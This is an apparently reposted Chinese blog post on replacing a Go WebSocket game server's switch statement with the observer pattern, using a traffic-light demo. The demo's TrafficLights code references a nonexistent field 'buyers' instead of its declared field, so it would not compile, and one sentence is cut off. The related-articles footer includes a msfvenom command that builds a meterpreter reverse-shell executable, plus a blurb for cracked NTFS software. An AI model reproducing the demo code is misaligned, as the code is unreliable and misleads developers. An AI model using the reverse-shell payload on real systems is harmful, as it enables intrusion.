观察者模式的理解和引用

news2024/11/25 21:31:00

1.前言

在之前的H5小游戏中,对于长连接发送的不同类型数据包的处理,是通过switch语句进行处理的,于是在自己的代码中出现了大量的case分支,不方便进行维护和后期的版本迭代。于是在老师的指导下,开始寻求使用观察者模式来解决case分支过多、代码冗余的问题。

H5小游戏介绍和代码仓库:基于WebSocket通信的H5小游戏总结-CSDN博客

2.旧代码

		//在信息中枢处根据消息类型进行特定的处理
		
		switch requestPkg.Type {
		case pojo.CertificationType:
			//用户认证
			client.CertificationProcess(requestPkg)

		case pojo.CreateRoomType:
			//创建房间号,并将创建者加入房间
			client.CreateRoomProcess()

		case pojo.JoinRoomType:
			//1.加入房间的前提,先建立连接
			//2.完成用户认证
			//3.发送消息类型和房间号 Type uuid
			//只有完成上述步骤,才可以加入房间
			var data map[string]interface{}
			err = json.Unmarshal([]byte(requestPkg.Data), &data)
			if err != nil {
				fmt.Println("解析 JSON 失败:", err)
				return
			}
			uuidValue, ok := data["uuid"].(string)
			if !ok {
				fmt.Println("uuid 字段不存在或不是字符串类型")
				return
			}
			client.JoinRoomProcess(uuidValue)

		case pojo.RefreshScoreType:
			//什么是否进行分数更新,前端判断 type:RefreshScoreType, data:step、step、score
			//当用户的行为触发前端游戏机制的更新时,前端调用此接口,后端进行分数的转发 不需要做业务处理,直接转发即可
			fmt.Println("游戏交换中数据", client)
			client.RefreshScoreProcess(requestPkg)

		case pojo.DiscontinueQuitType:
			client.DiscontinueQuitProcess()

		case pojo.GameOverType:
			//游戏结束类型好像没有太大用,游戏结束的时候的提醒,通过分数更新就可以实现了
			fmt.Println("GameOverType")

		case pojo.HeartCheckType:
			//开启一个协程遍历hub中的Client,进行健康检测,生命时间是否会过期,如果过期进行逻辑删除和关闭连接
			if requestPkg.Data == "PING" {
				client.HeartCheckProcess()
			}
		}

3.观察者模式的引入

观察者模式是使用频率最高的设计模式之一,用于建立对象与对象之间的依赖关系。一个对象发生改变时将自动通知其他对象,其他对象将响应做出反应。在观察者模式中,发生改变的对象称为观察目标,而被通知的对象称为观察者。一个观察目标可以对应多个观察者,而且这些观察者之间可以没有任何相互联系,可以根据需要增加和删除观察者,使得系统更易于扩展。

比如在我们的日常生活中,红灯停,绿灯行。在这句话描述的场景中,红绿灯是观察目标,即被观察者;而行人和车辆是观察者;红绿灯即观察目标的状态发生变动的时候,行人和车辆会接收到通知,调整自己的行为。这种建立一个红绿灯对象和多个行人车辆对象之间的依赖关系的模式就是观察者模式。

观察者模式结构中通常包括观察目标和观察者两个继承层次结构,具体结构如下图示意:

Subject是抽象观察目标,我们一般定义为抽象类或者接口,在里面我们规定观察目标应该具有的方法,添加观察者,删除观察者,通知观察者。

ConcreteSubject是具体观察目标,是我们抽象类或者接口的具体实现类,在里面我们定义观察目标方法的具体实现即如何添加观察者、删除观察者、通知观察者。

Observer是抽象观察者,同样地我们一般定义为抽象类或者接口,在里面我们规定观察者应该具有的方法,即观察目标发生变动后的行为,一般我们定义为Update()方法。

ConcreteObserver是具体观察对象,是我们抽象类或者接口的具体实现类,在里面我们定义观察者在观察目标的行为发生变动后,应该执行的具体逻辑代码。

4.观察者模式Demo

Demo的目录结构如下:

subject.go 这里我们定义观察目标接口,里面定义三个方法签名,添加、删除观察者和通知观察者

package subject

import "demo/TrafficLightsAndPedestrians/observer"

type Subject interface {
	AddPedestriansAndCars(buyer ...observer.Observer)
	RemovePedestriansAndCars(buyer observer.Observer)
	NotifyPedestriansAndCars(flag bool)
}

TrafficLights.go 观察目标的具体实现,这里我们模拟红绿灯的情景,因为是具体实现类,直接命名为TrafficLights。在这个类中我们实现了subject接口中定义的所有方法。

package impl

import (
	"demo/TrafficLightsAndPedestrians/observer"
	"fmt"
)

type TrafficLights struct {
	pedestriansAndCars []observer.Observer
}

func (p *TrafficLights) AddPedestriansAndCars(buyer ...observer.Observer) {
	p.buyers = append(p.buyers, buyer...)
	fmt.Println("可变参数中加入了", p.buyers)
}

func (p *TrafficLights) RemovePedestriansAndCars(buyer observer.Observer) {
	for index, value := range p.buyers {
		if value == buyer {
			copy(p.buyers[index:], p.buyers[index+1:])
			p.buyers = p.buyers[:len(p.buyers)-1]
			fmt.Println("删除后:", p.buyers)
			break
		}
	}
}
func (p *TrafficLights) NotifyPedestriansAndCars(flag bool) {
	for _, value := range p.buyers {
		value.Update(flag)
	}
}

observer.go 观察者接口,我们定义了一个Update方法,用于更新观察者的行为,当观察目标发生变动的时候,观察者应该执行的行为。

package observer

type Observer interface {
	Update(flag bool)
}

PedestriansAndCars.go 观察者具体方法,由于这里我们模拟的交通信号灯的情景,所以这里观察者的具体实现类直接命名为PedestriansAndCars。这里的Update方法我们实现了当红绿灯发生变动时,行人和车辆应该执行的具体行为,这里我们为了模拟情况,简单地进行打印输出操作。

package impl

import "fmt"

type PedestriansAndCars struct {
	Name string
}

func (b *PedestriansAndCars) Update(flag bool) {
	if flag {
		fmt.Println("绿灯亮", b.Name, "可以走了")
	} else {
		fmt.Println("红灯亮", b.Name, "请站在原地等待")
	}
}

main.go 主函数的场景,在这里我们创建trafficLights观察目标对象,在观察目标中加入行人和车辆,当trafficLights观察目标发生变动的时候,会通知执行所有的已经添加到观察目标切片中的所有行人和车辆。

package main

import (
	impl2 "demo/TrafficLightsAndPedestrians/observer/impl"
	"demo/TrafficLightsAndPedestrians/subject/impl"
)

func main() {
	trafficLights := new(impl.TrafficLights)
	person01 := &impl2.PedestriansAndCars{Name: "小1"}
	person02 := &impl2.PedestriansAndCars{Name: "小2"}
	person03 := &impl2.PedestriansAndCars{Name: "小3"}
	car01 := &impl2.PedestriansAndCars{Name: "车1"}
	car02 := &impl2.PedestriansAndCars{Name: "车2"}
	trafficLights.AddPedestriansAndCars(person01, person02, person03, car01, car02)
	trafficLights.NotifyPedestriansAndCars(false)
}

这里之所以采用接口调用的方式,是为了方便后期代码功能的扩展,如果我们想要在代码中再次添加一个观察目标,直接定义一个结构体去实现subject接口即可,其余代码不需要进行变动;如果·

5.改造后的新代码

本次改造主要是对websocket长连接进行更改,在原有socket包的基础上添加了subject观察目标包和observer观察者,在观察目标发生变动后,会通知所有的观察者,观察者接收到信息后,会执行对应的方法。

在这里观察目标为客户端不断发送的websocket数据包,观察者是原先switch语句下的各个分支。一旦观察目标接收到websocket数据包,就通知所有的观察者,观察者是否否执行,取决于观察者内部信息类型的判断是否符合传送数据包的类型。

subject.go

package observed

import (
	"klotski/pojo"
	"klotski/socket/subscriber"
)

type Observed interface {
	AddProcess(process subscriber.Subscriber)
	RemoveProcess(process subscriber.Subscriber)
	Notify(client *pojo.Client, request *pojo.RequestPkg)
}

controller.go

package impl

import (
	"klotski/pojo"
	"klotski/socket/subscriber"
)

type Controller struct {
	processes []subscriber.Subscriber
}

func (c *Controller) AddProcess(process ...subscriber.Subscriber) {
	c.processes = append(c.processes, process...)

}

func (c *Controller) RemoveProcess(process subscriber.Subscriber) {
	for i, o := range c.processes {
		if o == process {
			c.processes = append(c.processes[:i], c.processes[i+1:]...)
			break
		}
	}
}

func (c *Controller) Notify(client *pojo.Client, request *pojo.RequestPkg) {
	for _, observer := range c.processes {
		observer.Update(client, request)
	}
}

observer.go

package subscriber

import "klotski/pojo"

type Subscriber interface {
	Update(client *pojo.Client, request *pojo.RequestPkg)
}

process.go

package impl

import (
	"encoding/json"
	"fmt"
	"klotski/pojo"
)

// CertificationObserver 用户认证观察者
type CertificationObserver struct{}

func (o *CertificationObserver) Update(client *pojo.Client, request *pojo.RequestPkg) {
	if request.Type == pojo.CertificationType {
		client.CertificationProcess(*request)
	}
}

// CreateRoomObserver 创建房间观察者
type CreateRoomObserver struct{}

func (o *CreateRoomObserver) Update(client *pojo.Client, request *pojo.RequestPkg) {
	if request.Type == pojo.CreateRoomType {
		client.CreateRoomProcess()
	}
}

// JoinRoomObserver 加入房间观察者
type JoinRoomObserver struct{}

func (o *JoinRoomObserver) Update(client *pojo.Client, request *pojo.RequestPkg) {
	if request.Type == pojo.JoinRoomType {
		var data map[string]interface{}
		if err := json.Unmarshal([]byte(request.Data), &data); err != nil {
			fmt.Println("解析 JSON 失败:", err)
		}
		if uuidValue, ok := data["uuid"].(string); !ok {
			fmt.Println("uuid 字段不存在或不是字符串类型")
			return
		} else {
			client.JoinRoomProcess(uuidValue)
		}
	}
}

// RefreshScoreObserver 刷新游戏分数观察者
type RefreshScoreObserver struct{}

func (o *RefreshScoreObserver) Update(client *pojo.Client, request *pojo.RequestPkg) {
	if request.Type == pojo.RefreshScoreType {
		client.RefreshScoreProcess(*request)
	}
}

// DiscontinueQuitObserver 主动断开连接观察者
type DiscontinueQuitObserver struct{}

func (o *DiscontinueQuitObserver) Update(client *pojo.Client, request *pojo.RequestPkg) {
	if request.Type == pojo.DiscontinueQuitType {
		client.DiscontinueQuitProcess()
	}
}

// GameOverObserver 游戏结束观察者
type GameOverObserver struct{}

func (o *GameOverObserver) Update(client *pojo.Client, request *pojo.RequestPkg) {
	if pojo.GameOverType == request.Type {
		fmt.Println("GameOverType")
	}
}

// HeartCheckObserver 健康检测观察者
type HeartCheckObserver struct{}

func (o *HeartCheckObserver) Update(client *pojo.Client, request *pojo.RequestPkg) {
	if pojo.HeartCheckType == request.Type {
		if request.Data == "PING" {
			client.HeartCheckProcess()
		}
	}
}

6.总结

1.观察者模式是一种使用频率非常高的设计模式,无论是移动应用、Web应用或者桌面应用,观察者模式几乎无处不在。它为实现对象之间的联动提供了一套完整的解决方案,凡是涉及一对一或者一对多的对象交互场景都可以使用观察者模式。

2.要学会及时发现自己代码中的问题,并不是代码能够运行起来就可以了,而是要不断进行改进,追求优雅和简洁。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1522844.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

互动投影游戏如何为科普教育馆带来更加生动有趣的科普体验?

近年科普教育馆在数字多媒体技术的支持下,让更多的家长和孩子注意到这一展示场景,尤其是对孩子来说,这里不仅是一个扩展知识的场景,更是一个发掘自我、探索未知世界的地方,而在这个过程中,多媒体互动技术的…

【MySQL高级篇】08-事务篇

第13章:事务基础知识 #09-事务的基础知识#1.事务的完成过程 #步骤1:开启事务 #步骤2:一系列的DML操作 #.... #步骤3:事务结束的状态:提交的状态(COMMIT) 、 中止的状态(ROLLBACK)#2. 显式事务#2.1 如何开启? 使用关键…

蓝桥:保险箱(Python,动态规划)

问题描述: 小蓝有一个保险箱,保险箱上共有 n 位数字。小蓝可以任意调整保险箱上的每个数字,每一次操作可以将其中一位增加 1 或减少 1。当某位原本为 9 或 0 时可能会向前(左边)进位/退位,当最高位&#x…

如果要做优化,CSS提高性能的方法有哪些?

文章目录 一、前言二、实现方式内联首屏关键CSS异步加载CSS资源压缩合理使用选择器减少使用昂贵的属性不要使用import其他 三、总结参考文献 一、前言 每一个网页都离不开css,但是很多人又认为,css主要是用来完成页面布局的,像一些细节或者优…

加密算法详解

加密学的发展和应用 计算机加密学的发展历程可以大致分为以下几个阶段: 古典密码学时期(古代至20世纪初): 在古代,人们就已经开始使用简单的加密技术来保护通信内容,例如凯撒密码、维吉尼亚密码等。到了近…

渗透测试框架权限维持技术——Persistence模块

测试环境: kali win7 测试步骤: 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址(kali地址) lport 监听端口&#xf…

MQ 延迟队列

MQ 延迟队列 1. 前言 延迟队列是我们日常开发过程中,经常接触并需要使用到的一种技术方案。前些时间在开发业务需求时,我也遇到了一个需要使用到延迟消息队列的需求场景,因此我也在网上调研了一系列不同的延迟队列的实现方案,在…

计算机网络----计算机网络的基础

目录 一.计算机网络的相关概念 二.计算机网络的功能 三.计算机网络的发展 四.计算机网络的组成 五.计算机网络的分类 六.计算机的性能指标 1.速率 2.带宽 3.吞吐量 4.时延 5.时延带宽积 6.往返时延RTT 7.利用率 七.计算机的分层结构 八.ISO/OSI参考模型 九.OSI…

Word粘贴时出现“运行时错误53,文件未找到:MathPage.WLL“的解决方案

在安装完MathType后,打开word复制粘贴时报错“运行时错误53,文件未找到:MathPage.WLL” 首先确定自己电脑的位数(这里默认32位) 右击MathType桌面图标,点击“打开文件所在位置”, 然后分别找到MathPage.W…

RabbitMQ高级-高级特性

1.消息可靠性传递 在使用RabbitMQ的时候,作为消息发送方希望杜绝任何消息丢失或者投递失败场景。RabbitMQ为我们提供了两种方式来控制消息的投递可靠性模式 1.confirm 确认模式 确认模式是由exchange决定的 2.return 退回模式 回退模式是由routing…

Webapi(.net6) 批量服务注册

如果不考虑第三方库,如Autofac这种进行服务注入,通过本身的.Core Weabpi实现的,总结了两种实现方法, 1.一种是参考abp框架里面的形式; 1.1 新建个生命周期的文件夹: 三个接口分别为: public interface IScopedDependency { }pu…

机器学习周报第33周

目录 摘要Abstract一、文献阅读1.1 论文标题1.2 论文摘要1.3 论文背景1.4 过去研究1.5 论文介绍1.5.1 论文模型1.5.2 时空交互学习模块(Spatiotemporal Interactive Learning Module)1.5.3 动态图推理模块(Dynamic Graph Inference Module&am…

Uniapp有奖猜歌游戏系统源码,附带流量主

有奖猜歌游戏是一款基于uni-app、uniCloud、uniAD 开发的小游戏,通过猜歌曲、观看广告赚取现金奖励。 游戏基本特征 玩家可以通过猜歌、做任务等方式直接获取现金奖励 玩家可以通过猜歌、拆红包、做任务等方式获取金币奖励,当金币累积到一定数量可以兑…

C++之类和对象(3)

目录 1. 再谈构造函数 1.1 构造函数体赋值 1.2 初始化列表 1.3 explicit 2. static成员 2.1 概念 3. 友元 3.1 友元函数 3.2 友元类 4. 内部类 5. 匿名对象 6. 拷贝对象时编译器做出的优化 1. 再谈构造函数 1.1 构造函数体赋值 class Date { public:Date(int year2024…

实现界面跳转及注册界面编写(AndroidStudio)

目录 一、代码 二、最后效果 一、代码 1.先新建一个activity文件 2.注册界面的代码如下&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:la…

(附数据集)基于lora参数微调Qwen1.8chat模型的实战教程

基于lora微调Qwen1.8chat的实战教程 日期&#xff1a;2024-3-16作者&#xff1a;小知运行环境&#xff1a;jupyterLab描述&#xff1a;基于lora参数微调Qwen1.8chat模型。 样例数据集 - qwen_chat.json&#xff08;小份数据&#xff09; - chat.json&#xff08;中份数据&…

Tuxera NTFS 2023安装使用教程 Tuxera NTFS破解版 Tuxera NTFS for Mac优惠

对于必须在Windows电脑和Mac电脑之间来回切换的Mac朋友来说&#xff0c;跨平台不兼容一直是一个巨大的障碍&#xff0c;尤其是当我们需要使用NTFS格式的硬盘在Windows和macOS之间共享文件时。因为Mac默认不支持写入NTFS磁盘。 为了解决这一问题&#xff0c;很多朋友会选择很便捷…

vscode插件开发-发布插件

安装vsce vsce是“Visual Studio Code Extensions”的缩写&#xff0c;是一个用于打包、发布和管理VS Code扩展的命令行工具。 确保您安装了Node.js。然后运行&#xff1a; npm install -g vscode/vsce 您可以使用vsce轻松打包和发布扩展&#xff1a; // 打包插件生成name…

RansomwareSim:一款功能强大的勒索软件模拟研究学习工具

关于RansomwareSim RansomwareSim是一款功能强大的勒索软件模拟研究学习工具&#xff0c;该工具是为网络安全教育和培训目的开发的模拟勒索软件应用程序&#xff0c;它旨在为广大研究人员演示勒索软件如何加密系统上的文件并与命令和控制服务器通信&#xff0c;以更好地了解勒…

“一键解锁复古魅力:底片效果瞬间生成!“

时光荏苒&#xff0c;岁月如梭。你是否曾怀念那些旧时光里&#xff0c;老照片所散发出的独特韵味&#xff1f;那种历经岁月沉淀的底片效果&#xff0c;仿佛能带我们回到那些被遗忘的角落&#xff0c;重温那些温馨的瞬间。 首先第一步&#xff0c;我们要进入视频剪辑高手&#…